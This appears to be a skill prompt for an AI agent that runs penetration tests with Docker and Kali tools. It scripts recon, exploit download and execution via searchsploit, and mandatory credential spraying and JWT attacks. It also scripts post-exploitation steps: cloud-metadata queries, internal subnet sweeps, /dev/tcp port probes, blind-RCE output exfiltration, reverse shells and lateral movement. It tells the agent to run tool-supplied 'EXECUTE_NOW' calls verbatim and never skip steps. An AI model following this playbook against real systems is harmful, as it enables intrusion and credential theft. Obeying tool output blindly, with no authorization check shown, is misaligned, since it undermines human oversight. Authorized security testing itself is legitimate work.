Runs a full penetration test against network/web targets or local codebases using Docker-based security tools. Supports recon, scanning, exploitation, and reporting with configurable depth and cost limits.
Ships in agent-smith. Installing the plugin adds it to Claude Code.
You are an expert penetration tester. Perform a thorough security assessment based on the request below. Use the pentest-agent MCP tools — they execute real Docker-based security tools.
Request: $ARGUMENTS
Every tool response includes a next.required field telling you what to call next. Follow it.
If your context window was just compacted (the runtime says ~90% used / "context recently reset"):
session(action="recovery") first — that returns your scan phase, finding count, and the immediate EXECUTE_NOW field. Run the EXECUTE_NOW call verbatim.report(action="coverage", type="list") to get the cell IDs back. Filter by what you remember: e.g. {endpoint_path: "/login", injection_type: "xss"} returns the cells you were closing so you can finish marking them. DO NOT call report(action="coverage", type="endpoint", ...) again to "re-register" — the cells already exist on disk and re-registration creates duplicates.bash + read skill files to re-load workflow context. On Claude Code use Skill(name="<skill>"). On opencode 1.16+ use skill({name: "<skill>"}). On Codex skills are already in the system prompt — reference them inline. The bash+cat fallback is the old pattern and wastes 2 tool calls per chain.| Tool | Use for |
|---|---|
session(action="start", options={...}) | Define target, scope, depth, and hard limits — always call this first |
session(action="complete", options={...}) | Mark the scan done and write final notes |
scan(tool="naabu", ...) | Fast port scan — always start here for network targets |
scan(tool="nmap", ...) | Detailed port scan with service/version detection |
scan(tool="httpx", ...) | HTTP probe — confirm live web services, detect tech stack |
scan(tool="nuclei", ...) | Template vuln scan — run after httpx confirms a web target |
scan(tool="ffuf", ...) | Directory/file fuzzing — run on confirmed web targets |
scan(tool="spider", ...) | Crawl a web app to map all reachable endpoints. mode=fast (katana, default), mode=playwright (headless Chromium — required for Hotwire/Turbo apps), mode=deep (ZAP + AJAX) |
scan(tool="subfinder", ...) | Subdomain enumeration — run early for any domain target |
scan(tool="semgrep", ...) | Static analysis — for local codebases |
scan(tool="trufflehog", ...) | Secret scanning — for local codebases |
kali(command=...) | Any Kali tool: nikto, sqlmap, gobuster, hydra, enum4linux-ng, testssl, theHarvester, dnsrecon, wapiti, sslscan, ssh-audit, snmpwalk, searchsploit, certipy, nxc, ... |
http(action="request", ...) | Raw HTTP — manual probing or PoC verification. Set poc=True for confirmed exploits to route through Burp HTTP History |
http(action="save_poc", ...) | Save a confirmed exploit as a raw .http file in pocs/ for Burp Repeater |
session(action="start_kali") | Pre-warm the Kali container before heavy use |
session(action="stop_kali") | Clean up the Kali container when done |
session(action="pull_images") | Pre-pull all lightweight tool images on first setup |
report(action="finding", data={...}) | Log a confirmed vulnerability (with evidence) to findings.json |
report(action="diagram", data={...}) | Save a Mermaid architecture/network diagram to findings.json |
report(action="dashboard", data={"port": 7777}) | Serve dashboard.html at localhost:7777 |
report(action="note", data={...}) | Write a reasoning note or decision to the session log |
scan(tool, target, flags, options)| tool | target type | options (defaults) |
|---|---|---|
| nmap | host/IP | ports=top-1000 |
| naabu | host/IP | ports=top-100 |
| subfinder | domain | |
| httpx | URL | |
| nuclei | URL | templates=cve,exposure,misconfig,default-login |
| ffuf | URL | wordlist=common.txt, extensions= |
| spider | URL | depth=3 |
| semgrep | path | |
| trufflehog | path | |
| metasploit | host/IP | module=, payload=, rport=, lhost=, lport=4444 |
kali(command, timeout)Run any command in the Kali container (auto-starts if needed). Hundreds of tools: nikto, sqlmap, gobuster, hydra, testssl, enum4linux-ng, wapiti, searchsploit, etc.
http(action, url, method, headers, body, options)action="request" — send an HTTP request. options: poc=false, burp_proxy=http://127.0.0.1:8080action="save_poc" — save a raw .http file to pocs/. options: title=poc, notes=report(action, data)action="finding" — data: {title, severity, target, description, evidence, tool_used, cve}action="diagram" — data: {title, mermaid}action="note" — data: {message}action="coverage" — data: {type, ...}:
type="endpoint" — {path, method, params=[{name, type, value_hint}], discovered_by, auth_context}type="tested" — {cell_id, status (tested_clean|vulnerable|not_applicable|skipped), notes, finding_id}type="bulk_tested" — {updates=[{cell_id, status, notes, finding_id}]}type="list" — compaction-recovery primitive. Returns the current matrix with cell IDs joined to endpoint context. Use this when your context was compacted and you've lost cell IDs. Optional filters (AND-combined): {endpoint_path, method, status, injection_type, param_name, limit}. Returns {cells: [{cell_id, endpoint_path, method, param_name, injection_type, status, finding_id, tested_at, ...}, ...], total, filtered}. DO NOT re-register endpoints after a compaction — the cells are still on disk; this call gets the IDs back into your context.type="reset" — clear the matrixsession(action, options)action="start" — options: {target, depth, scope, out_of_scope, max_cost_usd, max_time_minutes, max_tool_calls, model_profile} (model_profile: full|medium|small)action="complete" — options: {notes}action="status" — returns current scan state (tools run, findings count, cost, remaining calls)action="recovery" — returns what to do next after context compactionaction="start_kali" / action="stop_kali" — Kali container lifecycle| Depth | Includes | Default limits |
|---|---|---|
recon | port scan + subdomains + HTTP probe only | $0.10 · 15 min · 10 calls |
standard | recon + nuclei vuln scan + dir fuzzing | $0.50 · 45 min · 25 calls |
thorough | standard + full Kali toolchain | unlimited cost · unlimited time · unlimited calls |
⚑ THREE-PHASE SCAN (thorough). The scan runs in three saturation-driven phases and
AUTO-ADVANCES — you never switch phases yourself; read scan_phase from session(action="status"):
exploit (Phase A · DEEP, matrix-free) — recon, then HUNT: drive every high-value finding
to its terminal (RCE / pivot / takeover), chaining the MANDATORY skills below. Do not build the
coverage matrix yet. This is the deep pass that produces the real kill chains. Advances when
every high/critical finding is driven to a terminal or documented as a dead-end.coverage (Phase B · SYSTEMATIC breadth) — build + drain the coverage matrix (/web-exploit,
/api-security, /param-fuzz). Completeness pass. Advances at 0 pending cells.synthesis (Phase C · COMPOSE) — prove the graph-derived kill-chains from ALL findings, reach
the maximal terminals, then adjudicate and complete.Depth (A) runs to completion BEFORE breadth (B) — no time/budget boxing, saturation only.
Before running any tool: If the request does not explicitly specify a depth or limits, ask the user:
Target:
<extracted target>Which scan depth?
recon— ports · subdomains · HTTP probe only (~$0.10 · 15 min · 10 calls)standard— recon + nuclei vuln scan + dir fuzzing (~$0.50 · 45 min · 25 calls)thorough— standard + full Kali toolchain (unlimited)Any custom limits? (e.g.
max_cost_usd=0.25,max_time_minutes=20) Any out-of-scope hosts?
Wait for the answer, then call session(action="start", options={...}) with those parameters.
If the user already specified depth or limits in their request, skip the question and proceed directly.
IMPORTANT: Do NOT pass max_cost_usd, max_time_minutes, or max_tool_calls to session(action="start", options={...}) unless the user explicitly specified custom limits. The depth preset already has the right defaults. Passing your own lower values defeats the purpose of the preset — especially for thorough which needs the full budget to systematically test all endpoints.
Network / web target:
0. Call session(action="start", options={...}) with target, depth, and scope — this sets the hard limits
0a. If resume=<path> (or resume=auto) was passed — resume a prior/stopped engagement instead of starting cold. Immediately after session(action="start"), call report(action="coverage", data={type:"import_prior", path:"<path>", mode:"resume"}) — for resume=auto, omit path (or pass path:"auto") and the store is auto-selected by the target (it lists candidates if ambiguous, never guesses). This merges the prior known_assets (creds/tokens/endpoints), re-registers the prior endpoints, trust-skips the already-tested/found cells, and surfaces the prior findings so you don't re-file them; then spend effort on the PENDING cells (report(action="coverage", type="list", status="pending")). Trust-skip assumes the target is UNCHANGED — if it may have changed, use mode:"context" (loads prior results as context without skipping). At any time you can report(action="recall", data={query:"..."}) to search prior PoCs/logs/findings for a technique or observation. Build the store first with scripts/build_engagement_digest.py if it doesn't exist.
Call report(action="dashboard", data={"port": 7777}) — gives you a live URL to watch findings roll in
Run scan(tool="naabu", ...) + scan(tool="subfinder", ...) in the same response (parallel) — this top-100 sweep is triage only, not the whole scan.
2a. Full-port + UDP escalation — MANDATORY, do NOT stop at the quick scan. Services routinely hide on high TCP ports and on UDP; a top-ports-only sweep is the #1 recon miss. As soon as the quick scan returns, for EVERY live host:
scan(tool="naabu", target=HOST, options={"ports":"full"}) — then run scan(tool="nmap", target=HOST, options={"ports":"<new ports>","flags":"-sV -sC"}) on anything new for service/version. (Or scan(tool="nmap", target=HOST, options={"ports":"full","flags":"-sV"}) directly on a small host set.)scan(tool="nmap", target=HOST, options={"ports":"udp"}) — catches SNMP(161), DNS(53), NTP(123), NetBIOS(137), TFTP(69), IKE(500), SIP, mDNS that a TCP-only scan never sees.Run scan(tool="httpx", ...) on discovered open ports — include ALL non-standard HTTP ports (not just 80/443)
3a. Service fingerprinting — for every HTTP service (including non-standard ports), understand what it is before scanning:
/etc/hosts and investigate. For HTTPS services, inspect the SSL certificate's CN and SAN fields — they often reveal additional subdomains (e.g. git.target.com). Also try vhost enumeration by fuzzing the Host headerscan(tool="ffuf", target=URL, options={"wordlist":"ai-mcp-api.txt"})): /openapi.json/.yaml, /v3/api-docs, /graphql (API schema → register every operation); .well-known/mcp.json, .well-known/agent-card.json, /mcp, /sse (MCP/agent surface → chain to /ai-redteam); /llms.txt (often leaks internal routes). A classic web wordlist misses all of these.426/400 on /ws, /websocket, /socket.io/, /cable, /signalr means a WebSocket endpoint (test it with a WS client — wscat/websocat — in both auth states; it's a full attack surface the HTTP tools skip). A response on /grpc* means gRPC-web — enumerate its services with grpcurl + server reflection (grpcurl -plaintext HOST:PORT list), since methods are service-specific.report(action="note", data={...}) with what each port is running and its version
3b. DNS enumeration — if port 53 (DNS) is open, attempt a zone transfer immediately — this is one of the fastest ways to discover hidden subdomains and vhosts that aren't publicly indexed:kali(command="dig axfr @TARGET DOMAIN")/etc/hosts and investigate each one as a separate attack surfacekali(command="dnsrecon -d DOMAIN -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt")
3c. Accessible file services — if FTP, SMB, NFS, or similar file-sharing services are open:*2john tool (rar2john, zip2john, pdf2john, etc.) to extract the hash, then crack with john and the rockyou wordlistAuth service checkpoint (early) — MANDATORY, DO NOT SKIP — after port scanning and service detection, check if any authentication-bearing services were found:
If ANY auth service is present (standard/thorough depth): you MUST chain into /credential-audit. This is a hard gate — do not proceed to step 5 without invoking it. Do NOT attempt ad-hoc hydra/medusa/ncrack commands yourself — the credential-audit skill is systematic and covers cross-service spraying, username-derived passwords, and platform-aware enumeration that ad-hoc commands will miss.
Choose depth based on available intelligence:
depth=quick — tests default creds + common usernames + top-100 passwordsdepth=standard — includes username-derived password mutations + full common password lists# No usernames yet:
# Claude Code: skill: "credential-audit", args: "<target> service=ssh,ftp depth=quick context='Auth services found: SSH on 2222. No user list yet.'"
# READ THIS FILE NOW (opencode / other clients): cat ~/.config/opencode/commands/credential-audit.md — then follow the workflow in that file
Invoke /credential-audit: <target> service=ssh,ftp depth=quick context='Auth services found: SSH on 2222. No user list yet.'
# Usernames available from any source:
# Claude Code: skill: "credential-audit", args: "<target> service=ssh depth=standard userlist=/tmp/discovered-users.txt context='5 usernames found via FTP anonymous access. Services: SSH on 2222.'"
# READ THIS FILE NOW (opencode / other clients): cat ~/.config/opencode/commands/credential-audit.md — then follow the workflow in that file
Invoke /credential-audit: <target> service=ssh depth=standard userlist=/tmp/discovered-users.txt context='5 usernames found via FTP anonymous access. Services: SSH on 2222.'
Resume the pentester workflow after credential-audit returns.
Username sources to check before invoking — gather ALL available usernames from ANY source before calling credential-audit:
Write all discovered usernames to /tmp/discovered-users.txt via kali(command=...) before invoking.
Directory and file enumeration on ALL HTTP ports — run directory enumeration with file extension fuzzing on every HTTP service. Include common sensitive file extensions — many targets have discoverable text files, backups, and configs that reveal credentials, usernames, changelogs, or version information:
scan(tool="ffuf", target="http://TARGET:80", options={"extensions": ".txt,.php,.bak,.old,.conf,.xml,.json,.env,.log,.sql,.zip"})
If Basic Auth is required, use gobuster with credentials: -U user -P pass. If the first wordlist finds nothing, try a larger one.
5a. Access control bypass — for any endpoint returning 403, 401, or "restricted" responses, don't skip it. Test whether the restriction can be bypassed:
X-Forwarded-For: 127.0.0.1, X-Real-IP: 127.0.0.1, X-Original-URL, X-Custom-IP-Authorization: 127.0.0.1/endpoint, /endpoint/, /endpoint/., //endpoint, /endpoint%00/web-exploit for deep exploitation. If you find business logic flaws (value/quantity manipulation, workflow bypass, authorization issues), chain into /business-logicHotwire/Turbo detection before spidering — before running the spider, probe the target for Hotwire/Turbo signals:
# Check homepage HTML and response headers for Turbo indicators
http(action="request", method="GET", url="TARGET/")
Switch to mode="playwright" automatically if ANY of these signals are present:
<turbo-frame or <turbo-stream@hotwired/turbo (in <script> tags or JS bundle references)Turbo-Frame: or Vary: Turbo-Framehttpx fingerprint shows Rails 7+ (X-Runtime, Set-Cookie: _session_id or similar) AND the app renders HTML (not JSON-only API)# Fast mode (katana) — default for non-Turbo apps
scan(tool="spider", target="TARGET", options={"depth": 3})
# Playwright mode — Hotwire/Turbo detected; also use when re-spidering with auth cookies
scan(tool="spider", target="TARGET", options={
"mode": "playwright",
"depth": 3,
"cookies": {"_session_id": "SESSION_TOKEN_HERE"},
"max_pages": 200
})
Run scan(tool="spider", ...) on confirmed web targets to map all reachable endpoints
6a. Endpoint inventory + coverage matrix — MANDATORY for web targets. After spider and ffuf complete, register every discovered endpoint into the coverage matrix. For each endpoint, identify all parameters (query params, form fields, JSON body keys, path segments with IDs) and their types/hints:
report(action="coverage", data={
"type": "endpoint",
"path": "/profile/{id}",
"method": "GET",
"params": [{"name": "id", "type": "path", "value_hint": "integer"}],
"discovered_by": "spider",
"auth_context": "none"
})
report(action="coverage", data={
"type": "endpoint",
"path": "/api/users",
"method": "GET",
"params": [{"name": "q", "type": "query", "value_hint": ""}],
"discovered_by": "spider",
"auth_context": "jwt"
})
report(action="coverage", data={
"type": "endpoint",
"path": "/login",
"method": "POST",
"params": [
{"name": "username", "type": "body_form", "value_hint": ""},
{"name": "password", "type": "body_form", "value_hint": ""}
],
"discovered_by": "spider",
"auth_context": "none"
})
Param type values: path, query, body_form, body_json, header, cookie
Value hint values: integer, string, or empty for default
Registration quality drives the whole matrix — the fan-out only expands what you register:
GET) and its action (POST /login with body params). A POST/PUT/PATCH registered with params: [] gets ZERO injection cells and blocks session(complete) (UNDER-REGISTERED ENDPOINTS). Register every field, including hidden ones (user_id, redirect_to, role — mass-assignment/IDOR/redirect surface; skip only anti-CSRF tokens).body_form (adds xxe), JSON body → body_json (adds prototype+mass_assignment), query → query, route id → path.Register ALL endpoints — the matrix auto-generates injection test cells per applicability rules. Then chain into /web-exploit with the coverage context:
# Claude Code: skill: "web-exploit", args: "<target> context='Coverage matrix built with N endpoints and M test cells. Auth uses JWT. App is Python/Flask.'"
# READ THIS FILE NOW (opencode / other clients): cat ~/.config/opencode/commands/web-exploit.md — then follow the workflow in that file
Invoke /web-exploit: <target> context='Coverage matrix built with N endpoints and M test cells. Auth uses JWT. App is Python/Flask.'
The web-exploit skill works the pending cells. Close them at SCALE — never one-by-one — by driving the mechanized closers in a loop: report(action='coverage', data={type:'sweep', max_cells:60}) repeated until it returns no more candidates (it probes + auto-closes pending injection cells and hands you oracle-positives to confirm + file), then report(action='coverage', data={type:'auto_crosscutting'}) to bulk-close app-wide CORS/security-header/CSRF/cache cells, then next_batch → bulk_tested for the remainder. Keep looping until the pending count stops dropping; finishing comes only after the queue is drained (or a human approves the gaps).
On thorough depth — also chain /param-fuzz and /business-logic after /web-exploit completes:
# Claude Code: skill: "param-fuzz", args: "<target> depth=thorough context='<N> endpoints registered. App is <tech>. Generated values observed: <tokens/IDs/PINs>.'"
Invoke /param-fuzz: <target> depth=thorough context='<N> endpoints registered. App is <tech>. Generated values observed: <tokens/IDs/PINs>.'
# Claude Code: skill: "business-logic", args: "<target> depth=thorough context='<describe app type, roles identified, value flows found, multi-user interactions>.'"
Invoke /business-logic: <target> depth=thorough context='<describe app type, roles identified, value flows found, multi-user interactions>.'
/param-fuzz covers: auth stripping, type confusion, boundary values, mass assignment, and entropy of generated values. /business-logic covers: value/quantity logic, workflow bypass, state machine abuse, BOLA/BFLA, replay/idempotency, quota bypass, and multi-tenant isolation. Both run after /web-exploit so injection findings are already confirmed and can inform where to focus.
Thorough-depth iteration gate — mandatory re-runs:
On depth=thorough, session(action="complete") enforces 3 full passes before the scan can close. Each blocked call returns a mandatory re-run brief — concrete, ordered commands to re-execute all tools and skills at escalating aggressiveness. This is not a list of suggestions: you must execute every numbered step.
report(action="chain", data={type:"suggest"}) and check whether another confirmed finding PROVIDES it — e.g. a Postgres SQLi's pg_read_server_file gives the file-read a PIN-locked Werkzeug console needs (see /web-exploit refs/capability-chaining.md).session(action="recovery") at any point to check iteration_progress (e.g. "Iteration 2/3 — 1 more required").session(action="complete") succeed.6c. Re-spider trigger — the spider must re-run when the attack surface expands:
/api/v2/ — spider that subtreeAfter re-spider, register all new endpoints into the coverage matrix. Existing cells are preserved — only genuinely new endpoints (deduplicated on normalized path + method) get added. The web-exploit skill then tests all new pending cells.
6b. Source code checkpoint — MANDATORY when code is leaked — if at ANY point during the scan you discover application source code (via path traversal, .zip/.bak file download, git repository exposure, directory listing, LFI, or any other means):
yaml.load, pickle.loads, eval, unserialize), route definitions, authentication logic, file upload handlers, template rendering/codebase if a substantial portion of the app source is available:
# Claude Code: skill: "codebase", args: "/tmp/leaked-source depth=quick context='Source code leaked via [method]. Partial codebase recovered.'"
# READ THIS FILE NOW (opencode / other clients): cat ~/.config/opencode/commands/codebase.md — then follow the workflow in that file
Invoke /codebase: /tmp/leaked-source depth=quick context='Source code leaked via [method]. Partial codebase recovered.'
yaml.load() in source, immediately test YAML deserialization; if you find raw SQL queries, target those specific endpoints with SQLi; if you find pickle.loads(), test pickle deserializationreport(action="diagram", data={...}) with a Mermaid diagram of the discovered network/app topologyscan(tool="nuclei", ...) on confirmed web serviceskali(command="searchsploit saltstack 3000")
kali(command="searchsploit apache 2.4.49")
If searchsploit returns relevant exploits:
/metasploitkali(command="searchsploit -m 48421") # download exploit to /tmp/
kali(command="cat /tmp/48421.py | head -30") # review what it does
kali(command="python3 /tmp/48421.py --master TARGET") # run the exploit
/reverse-shell for payload generation and listener setup/analyze-cve to trace exploitability
9a. Dependency version CVE lookup — for every identified technology version (from httpx headers, error pages, /static/ paths, or source code):Server, X-Powered-By, X-AspNet-Version, X-Generator/static/js/jquery-3.2.1.min.js, flask==0.10.1 in requirements.txtkali(command="searchsploit flask 0.10")
kali(command="searchsploit werkzeug 0.14")
kali(command="searchsploit jinja2 2.5")
kali(command="searchsploit pyyaml 3.13")
retire.js patterns or manual version checkingkali(command=...) for deep dives (only in standard / thorough): nikto, sqlmap, gobuster, testssl, etc.
10a. Post-exploitation checkpoint — MANDATORY on any foothold — a foothold is either of these two things:(A) Command execution achieved — via command injection, SSTI, deserialization, file upload, debugger console, or any other vector.
(B) Credential material obtained that authenticates to a reachable internal service — this means any form of secret that opens a door into a system not directly exposed: database passwords, private keys, API tokens, session material, service account credentials, cloud provider keys, internal service secrets extracted via SSRF, config leaks, or path traversal. The specific form does not matter. If you found something that lets you authenticate to something, that is a foothold.
Do NOT log credential material as a finding and continue to the next coverage cell. Both (A) and (B) require the steps below — the difference is only the access= argument passed to /post-exploit.
For credential material (B): skip Step 1 (no shell needed yet) and go directly to Step 2 using the service the credentials target as the pivot point.
Step 1 — Establish stable access:
/reverse-shell to get an interactive shell from the target to the Kali container. This transforms blind RCE into a full shell and makes all subsequent post-exploitation dramatically more efficient.Step 2 — Environment detection and internal network discovery — run these commands on the target to classify the environment and map reachable networks:
# Detect containerization
cat /proc/1/cgroup 2>/dev/null | grep -E 'docker|kubepods|containerd'
ls -la /.dockerenv 2>/dev/null
# Detect Kubernetes
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
env | grep KUBERNETES
# Detect cloud
curl -s --max-time 2 http://169.254.169.254/latest/meta-data/ 2>/dev/null
curl -s --max-time 2 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ 2>/dev/null
# Detect Active Directory / domain-joined host
cat /etc/krb5.conf 2>/dev/null; echo "$USERDOMAIN $LOGONSERVER" 2>/dev/null
Step 2b — Internal network scan (MANDATORY) — always run this after environment detection. The goal is to discover what the compromised host can reach — this determines whether to chain into /network-assess, /lateral-movement, or /ad-assessment:
# Map network interfaces and subnets
ip addr 2>/dev/null || ifconfig 2>/dev/null
ip route 2>/dev/null || route -n 2>/dev/null || netstat -rn 2>/dev/null
cat /etc/resolv.conf 2>/dev/null
# Discover live hosts on local subnets (fast ARP-based or ping sweep)
# Use the subnet from ip addr output, e.g. 10.0.0.0/24
for subnet in $(ip route 2>/dev/null | grep -v default | awk '{print $1}' | head -5); do
echo "=== Scanning $subnet ==="
for i in $(seq 1 254); do
ip="${subnet%.*}.$i"
ping -c1 -W1 "$ip" &>/dev/null && echo "LIVE: $ip" &
done 2>/dev/null
wait
done
# Active connections — reveals internal services the host talks to
ss -tunapl 2>/dev/null || netstat -tunapl 2>/dev/null
# ARP cache — hosts already communicated with
ip neigh 2>/dev/null || arp -a 2>/dev/null
# DNS zone info — may reveal internal hostnames
cat /etc/hosts 2>/dev/null
If any scanning tools are available on the compromised host (nmap, ncat, curl), use them for more thorough service discovery on discovered subnets:
# Quick port scan on discovered live hosts (top ports)
nmap -sT -T4 --top-ports 20 <discovered-subnet>/24 2>/dev/null
# Or if no nmap, use bash TCP scan for key ports
for port in 22 80 443 445 3306 5432 6379 8080 8443 27017; do
(echo >/dev/tcp/<host>/$port) 2>/dev/null && echo "OPEN: <host>:$port"
done
Record all discovered hosts, subnets, and services in a report_note — this feeds into the chaining decision in Step 3.
Step 3 — Chain into post-exploitation skills based on environment:
| Environment detected | Chain to | Depth |
|---|---|---|
| Any RCE | /post-exploit | Always — privesc, credential harvesting, pivot prep |
| Kubernetes (SA token, kubepods cgroup, KUBERNETES env vars) | /container-k8s-security | K8s RBAC abuse, secret enumeration, namespace traversal, container escape |
| Docker (/.dockerenv, docker cgroup) without K8s | /container-k8s-security | Container escape, socket exposure, capability abuse |
| Cloud metadata accessible (169.254.169.254) | /cloud-security | IMDS exploitation, IAM credential theft, cloud pivoting |
| Internal network reachable (step 2b found live hosts on non-public subnets) | /network-assess | Internal service discovery, VLAN hopping, broadcast protocol abuse, lateral movement prep |
| Credentials discovered during post-exploit | /credential-audit | Spray discovered creds across all known services |
| Domain-joined host (AD indicators) | /ad-assessment | Domain enumeration, attack path analysis |
# Example chains:
# Claude Code: skill: "post-exploit", args: "<target> access=command_injection user=app os=linux context='Blind CMDi via POST /home size param. Alpine 3.7 container in K8s.'"
# READ THIS FILE NOW (opencode / other clients): cat ~/.config/opencode/commands/post-exploit.md — then follow the workflow in that file
Invoke /post-exploit: <target> access=command_injection user=app os=linux context='Blind CMDi via POST /home size param. Alpine 3.7 container in K8s.'
# Claude Code: skill: "container-k8s-security", args: "<target> perspective=internal context='RCE in pod cmd-5644658694. SA token at default path. K8s API at 10.96.0.1:443. Namespace: 141054a6-...'"
# READ THIS FILE NOW (opencode / other clients): cat ~/.config/opencode/commands/container-k8s-security.md — then follow the workflow in that file
Invoke /container-k8s-security: <target> perspective=internal context='RCE in pod cmd-5644658694. SA token at default path. K8s API at 10.96.0.1:443. Namespace: 141054a6-...'
# Claude Code: skill: "network-assess", args: "<target> perspective=internal context='RCE on 10.0.1.5. Step 2b found live hosts on 10.0.1.0/24 (10.0.1.1 gateway, 10.0.1.10 ssh, 10.0.1.20 http). ARP cache shows 10.0.2.0/24 also reachable.'"
# READ THIS FILE NOW (opencode / other clients): cat ~/.config/opencode/commands/network-assess.md — then follow the workflow in that file
Invoke /network-assess: <target> perspective=internal context='RCE on 10.0.1.5. Step 2b found live hosts on 10.0.1.0/24 (10.0.1.1 gateway, 10.0.1.10 ssh, 10.0.1.20 http). ARP cache shows 10.0.2.0/24 also reachable.'
This is a hard gate — do NOT skip post-exploitation when a foothold is confirmed. A foothold is not the objective — it is the entry point. The real impact comes from what is reachable from it: internal networks, other services, cloud metadata, lateral movement paths. Skipping post-exploitation means reporting "credentials found" when the actual finding is "full database dump + RCE via PostgreSQL" or "JWT secret found" when the actual finding is "arbitrary admin token forgery for all users".
Blind RCE pivoting technique — when you only have blind command injection (no reverse shell possible due to egress filtering), use the exfiltration pattern:
# Write command output to web-accessible directory
POST /vulnerable-endpoint body: param=$(command > static/output.txt)
GET /static/output.txt # read the output
# For commands with special characters, base64 encode:
POST /vulnerable-endpoint body: param=$(command | base64 > static/b64out.txt)
GET /static/b64out.txt # decode locally
This is slower than an interactive shell but works when egress is blocked. Use it for initial enumeration, then try to find an egress channel for a reverse shell.
.htpasswd, LDAP, SAM/NTDS)If new credential material was found: chain into /credential-audit again with depth=thorough and the discovered material.
# Claude Code: skill: "credential-audit", args: "<target> service=ssh,ftp,http depth=thorough userlist=/tmp/discovered-users.txt context='5 usernames found in users.txt.bk via FTP anonymous access. Services: SSH on 22, FTP on 21, HTTP on 80.'"
# READ THIS FILE NOW (opencode / other clients): cat ~/.config/opencode/commands/credential-audit.md — then follow the workflow in that file
Invoke /credential-audit: <target> service=ssh,ftp,http depth=thorough userlist=/tmp/discovered-users.txt context='5 usernames found in users.txt.bk via FTP anonymous access. Services: SSH on 22, FTP on 21, HTTP on 80.'
Before invoking, write the discovered usernames to /tmp/discovered-users.txt via kali(command=...).
The credential-audit skill will handle: username-derived passwords, lockout detection, intelligent wordlist generation (cewl + john mutations + mask attacks), cross-service spraying, and verification.
Do NOT run ad-hoc hydra/medusa commands yourself — the dedicated skill is more thorough and systematic.
If NO new material was found but the early checkpoint (step 4) was run at depth=quick: consider upgrading to depth=standard now that more context is available (e.g. OS version, service banners, application type).
12. Use http(action="request", ...) to manually verify or PoC any finding
13. Always before session(action="complete", options={...}):
- Call report(action="diagram", data={...}) with a Mermaid diagram of the application architecture — even for pure web targets with no network infrastructure. Map out every component, endpoint, and feature that was tested (login, API routes, file upload, admin panel, auth flows, third-party integrations, etc.). This gives a clear picture of the attack surface covered.
- For every confirmed exploit, call http(action="request", options={"poc": true}) and http(action="save_poc", ...) to produce a Burp-ready .http file. Do not skip this even if the finding was already logged via report(action="finding", data={...}).
- On depth=thorough: session(action="complete") enforces 3 mandatory re-run passes (see step 6c). When blocked, the response is a numbered list of concrete re-run commands — execute ALL of them, then call complete again. Do not skip steps or paraphrase them as done without running the tools. Check session(action="recovery") → iteration_progress to track your pass count.
14. Call session(action="complete", options={...}) with a summary when done or when a limit is hit
Local codebase:
0. Chain into /codebase first — this performs a comprehensive white-box source code review (ASVS 5.0), maps all endpoints, identifies auth architecture, traces dangerous patterns, and produces a security profile that makes subsequent scanning far more targeted:
# Claude Code: skill: "codebase", args: "/path/to/code depth=standard"
# READ THIS FILE NOW (opencode / other clients): cat ~/.config/opencode/commands/codebase.md — then follow the workflow in that file
Invoke /codebase: /path/to/code depth=standard
/codebase completes, invoke additional skills based on what was found — do NOT test manually:
/web-exploit:
report(action="coverage", data={type:"endpoint",...}) for each one)/web-exploit with context from the code review (stack, auth type, known injection points)/ai-redteam/ssl-tls-auditsession(action="complete", options={...}) when doneDuring a pentest you may invoke other skills when the situation calls for it:
| Skill | When to invoke |
|---|---|
/codebase | Local codebase target — always chain first. White-box ASVS 5.0 review: maps endpoints, auth, dangerous patterns, IaC. Produces security profile that makes all subsequent scanning targeted |
/osint | Before active scanning — run passive recon first to map subdomains, emails, employees, tech stack, cloud storage, and leaked credentials |
/analyze-cve | You discover a CVE-affected dependency (e.g. via nuclei or semgrep) — invoke it to trace whether the vulnerable code path is actually reachable and generate a Burp PoC |
/web-exploit | MANDATORY after step 6a — web targets. After spider + ffuf complete, build full endpoint inventory and chain here for systematic testing of EVERY endpoint against EVERY vulnerability class. Also invoke immediately at detection time — not after failing — when ANY of these are present: (1) non-Jinja2 template engine in stack (Twig, ERB, Smarty, Freemarker, Pebble, Velocity, Mako) — payloads differ per engine, using Jinja2 syntax on Twig produces zero output; (2) serialization format in cookie or request body (YAML !!python, PHP O:, Java rO0AB, Python pickle \x80\x04) — gadget chains are framework-specific; (3) blind injection confirmed (SQLi, CMDi, SSTI with no reflection) — switch to automated tooling immediately, manual char-by-char extraction wastes the entire budget; (4) XXE parse accepted — read all extraction variants before concluding entities are filtered; (5) 401/403 on a target endpoint — read auth bypass section (HTTP method tampering, path normalization, header spoofing) BEFORE defaulting to credential brute-force |
/api-security | MANDATORY when an API surface is discovered — OpenAPI/Swagger spec found (/swagger.json, /openapi.json, /v3/api-docs), GraphQL endpoint (/graphql, /graphiql, /playground), gRPC reflection responding, SOAP WSDL, MCP server, or any /api/v*/... route returning structured JSON. Chain here for the OWASP API Top 10 (2023): BOLA, BFLA, mass assignment, JWT/OAuth abuse, business-flow abuse, and inventory drift. Run BEFORE /web-exploit for API-first targets — /web-exploit handles injection depth, /api-security handles the auth/authz/business-logic surface that web-exploit doesn't cover |
/codebase | Source code discovered mid-pentest — via path traversal, .zip download, git exposure, or any other means. Chain immediately to analyze leaked code and convert to grey-box testing. This dramatically improves coverage. |
/metasploit | Exploitable CVE confirmed by nuclei/nikto — validate and exploit with Metasploit modules (runs in separate Docker container) |
/ssl-tls-audit | TLS services found — deep TLS/SSL configuration audit with PCI DSS 4.0 and NIST 800-52r2 compliance mapping |
/network-assess | Internal network scope — VLAN segmentation, broadcast protocol abuse (LLMNR/NBT-NS), SNMP/NFS/SMB enumeration, router/switch audit. Also chain from step 10a when internal subnets are reachable from a compromised host |
/credential-audit | MANDATORY — three triggers: (1) Auth services detected during recon (SSH, FTP, SMB, RDP, HTTP login, database, etc.) — invoke with depth=quick (no usernames) or depth=standard (usernames available). This is a hard gate at step 4 — do NOT skip. (2) New credential material discovered later (user list, hashes, cleartext creds from FTP anonymous, config leak, web scrape, LDAP dump, etc.) — invoke again with depth=thorough, the discovered user list, and all auth services. NEVER run ad-hoc hydra/medusa yourself — always chain here. (3) JWT token found in any cookie or Authorization header — invoke immediately for the full JWT attack sequence: alg:none bypass, RS256→HS256 key confusion, kid header injection, weak secret brute-force. Do NOT hand-craft JWT attacks without reading this skill — the sequence is specific and order matters |
